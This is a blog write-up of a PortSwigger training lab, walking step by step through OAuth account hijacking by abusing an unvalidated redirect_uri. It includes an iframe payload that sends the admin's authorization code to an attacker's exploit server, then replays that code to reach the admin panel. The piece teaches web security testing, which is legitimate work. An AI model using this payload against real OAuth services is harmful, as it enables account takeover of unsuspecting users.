OAuth Account Hijacking via redirect_uri
Today, we’ll be walking through my step-by-step methodology as I approach an Oauth vulnerability. This is part of my Methodology Walkthrough series at the Cybersec Cafe. These writeups are from controlled environment to explain my methodology in order to help you learn how to test applications yourself.
Objective
Steal the admin authorization code and use it to delete a user.
What We Know
The lab uses an OAuth service to allow users to log in with their social media account. We have default ceredentials available to use to log in with.
What is an OAuth Vulnerability?
An OAuth vulnerability arises when the OAuth authentication and authorization framework is misconfigured, allowing attackers to gain unauthorized access to user accounts or sensitive data. These vulnerabilities can result from flaws in token handling, redirect URIs, or improper scope restrictions, potentially compromising the security of both users and applications.
If you enjoy this article and want to be the first to see more like it, consider subscribing to my newsletter, the Cybersec Cafe, for free. I post content there first, and here second. Plus, you’ll get it straight to your inbox.
My goal is to deliver you value in various cybersecurity topics each week and to become your ultimate destination for expanding your expertise or for any aspiring cybersecurity professionals to break into the field.
Methodology
Want to give the lab a try yourself and follow along? You can check it out on PortSwigger’s website here for free.
The Recon
We have a blog application in front of us, one that is very common in PortSwigger labs.
However, since this is an app focused on the OAuth feature, we’ll prioritize poking at the login feature for now and revisit the blog feature if we get stuck.
Make sure that you’re logging your traffic through the Burp Proxy in order to capture the requests.
Generally, I recommend scoping your traffic to just log the current application. But, in this case, I’d recommend not since this application is using an external service to implement OAuth.
We can see the login page redirects us to login with social media, very different than what we’ve seen in other PortSwigger Labs in this series.
After agreeing to authorize, we can see we are returned back to the blog page.
Let’s log out and try the login process again…
This time, we can see that we’re instantly logged in.
Navigating over to Burp and taking a look at the SiteMap, we can see the traffic we’ve collected from both the OAuth client and the lab environment:
Now, let’s take a look at the Proxy History so we can view the traffic more contextually to get a better look at how the application is workin.
We can see that we have this /auth endpoint, followed by an oauth-callback endpoint.
But, what I find most interesting is the redirect_uri along with an authorization code in the query string:
This is the perfect suspect of a request to send to the Repeater for some testing.
Testing
When we send this over to the Repeater, we can start playing around with the redirect_uri parameter.
The first thing I try is to change it to a random URL, take Google for example:
We can see that the request returns a 302 and redirects to the site.
It still works — this is great news for us.
Now is a good time to realize that we have an exploit server available to us.
This immediately has me thinking we can leverage this redirect mechanism by redirecting to our exploit server to steal our admin user’s code.
Let’s give it a shot.
Exploitation
Let’s open up the exploit server and craft our payload.
<iframe src="https://oauth-YOUR-LAB-OAUTH-SERVER-ID.oauth-server.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net&response_type=code&scope=openid%20profile%20email"></iframe>
This payload will take advantage of the flawed redirect_uri to steal the code of the admin user once we deliver the payload to them.
We’ll be targeting the OAuth client and redirecting to our exploit server to log the access code.
You can see below how I’ve crafted this in my exploit server instance:
When ready, click Store then Deliver exploit to victim.
Navigate to the Access Log, where you’ll see the victim code.
Log out, and navigate to the following URL, where you’ll be met with the Admin Panel:
https://YOUR-LAB-ID.web-security-academy.net/oauth-callback?code=CODE
Lab solved!!
What We’ve Learned
We’ve learned that while many consider OAuth the “secure” implementation of authentication, it’s still essential to consider what you’re implementing into your applications. You may be able to find some logic errors in the implementation when encountering OAuth in applications in the wild, so it is never necessarily worth immediately writing off an application just because you see OAuth.
—
Remember: The Cybersec Café gets articles first. Subscribe for free here.
Interested in getting into Cybersecurity? I have a course called the Security Sip. The curriculum is designed to help you build skills progressively over 12 sections, 85 modules, and 155 exercises. With rapidly evolving threats and technologies widening the skill gap, it’s time to secure your future in cybersecurity. Available Now!
Oh, and if you want even more content and updates, hop over to Ryan G. Cox on Twitter/X. Can’t wait to keep sharing and learning together!
